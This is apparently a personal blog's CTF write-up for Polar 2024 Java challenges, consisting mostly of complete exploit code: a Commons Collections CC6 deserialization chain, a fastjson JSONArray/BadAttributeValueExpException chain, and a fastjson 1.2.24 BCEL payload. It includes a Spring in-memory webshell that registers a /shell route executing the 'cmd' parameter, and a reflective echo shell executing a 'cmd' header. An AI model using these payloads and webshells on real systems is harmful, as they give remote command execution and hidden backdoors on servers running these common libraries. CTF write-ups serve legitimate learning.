0%

Polar2024夏季赛-java题目

cc链

就是一个3.1的cc依赖,然后有个反序列化接口

image-20240603091639821

想直接利用cc1反弹shell,但是发现不出网,考虑spring内存马

用cc6实例化字节码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
package org.polar.ctf;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import org.apache.commons.collections.functors.InstantiateTransformer;

import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.net.URLEncoder;
import java.util.HashMap;
import java.util.Map;


public class exp {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, IOException, TransformerConfigurationException, Base64DecodingException {
byte[] code = Repository.lookupClass(SpringMemShell.class).getBytes();
byte[][] codes = {code};
//反射设置 Field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

//Transformer数组
Transformer transformers = new InvokerTransformer("getClass",null,null);
HashMap innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformers);
TiedMapEntry tme = new TiedMapEntry(outerMap,templates);

HashMap hashMap = new HashMap();
hashMap.put(tme,"value");

outerMap.remove(templates);
setFieldValue(transformers,"iMethodName","newTransformer");

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
System.out.println(URLEncoder.encode(java.util.Base64.getEncoder().encodeToString(baos.toByteArray())));
oos.flush();
oos.close();

//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();

}


//反射设置 Field
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
}
package org.polar.ctf;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringMemShell extends AbstractTranslet{
static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
SpringMemShell springControllerMemShell = new SpringMemShell();
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

} catch (Exception hi) {
// hi.printStackTrace();
}
}

public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

我最开始其实是用cc3去打的,但是本地能打通,靶机始终注入不了,不太知道为啥…..

image-20240603091949158

ezjson

一个反序列化点+fastjson依赖,很容易想到fastjson的原生反序列化,由于fastjson版本大于1.2.49,所以需要使用reference引用对象来进行绕过

poc如下(依旧不出网)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package com.polar.ctf;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.URLEncoder;
import java.util.HashMap;

public class exp {
public static void main(String[] args) throws Base64DecodingException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, InvocationTargetException, IOException {
byte[] code = Repository.lookupClass(SpringMemShell.class).getBytes();
byte[][] codes = {code};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "useless");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", codes);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",jsonArray);

HashMap hashMap = new HashMap<>();
hashMap.put(templates,badAttributeValueExpException);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(hashMap);
System.out.println(URLEncoder.encode(java.util.Base64.getEncoder().encodeToString(barr.toByteArray())));

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
}

image-20240603203843859

FastjsonBcel

一个fastjson解析,然后版本是1.2.24,并且有bcel

image-20240603225811866

那么直接打就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package org.polar.ctf;

import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.IOException;


public class FastJsonBcel {
public static void main(String[] args) throws IOException{
JavaClass javaClass = Repository.lookupClass(SpringEcho.class);
String code = "$$BCEL$$" + Utility.encode(javaClass.getBytes(),true);
String payload2 = "{\n" +
" {\n" +
" \"x\":{\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \""+code+"\"\n" +
" }\n" +
" }: \"y\"\n" +
"}";
System.out.println(payload2);
}
}
package org.polar.ctf;

import java.lang.reflect.Method;
import java.util.Scanner;
public class SpringEcho {
//静态代码块在类加载的时候就会去执行
static {
try {
//首先获取当前的HttpServletRequest和HttpServletResponse对象。
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
//通过反射获取HttpServletRequest的"getHeader"方法,用于获取HTTP请求头"cmd"的值,通过变量"cmd"执行系统命令。
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
//这里对操作系统做了判断,windows和linux的采用cmd和/bin/bash来命令执行
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
//使用反射获取"writer"对象的方法,然后执行命令并输出结果
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
} catch (Exception e) {

}

}
}

json发包即可

image-20240603225959580

用之前的内存马会出现找不到AbstractTranslet类的情况,不太清楚什么原因….

后续在@nivia的帮助下,了解到BCEL在进行类加载时,只能加载以这几种包名开头的类,所以想要注入spring内存马,必须得使用全反射。

image-20240604190850104

记一次Thinkphp远程调试

京麟CTF 2024 ezldap

© 2024 ycxlo

Powered by Hexo & NexT.Muse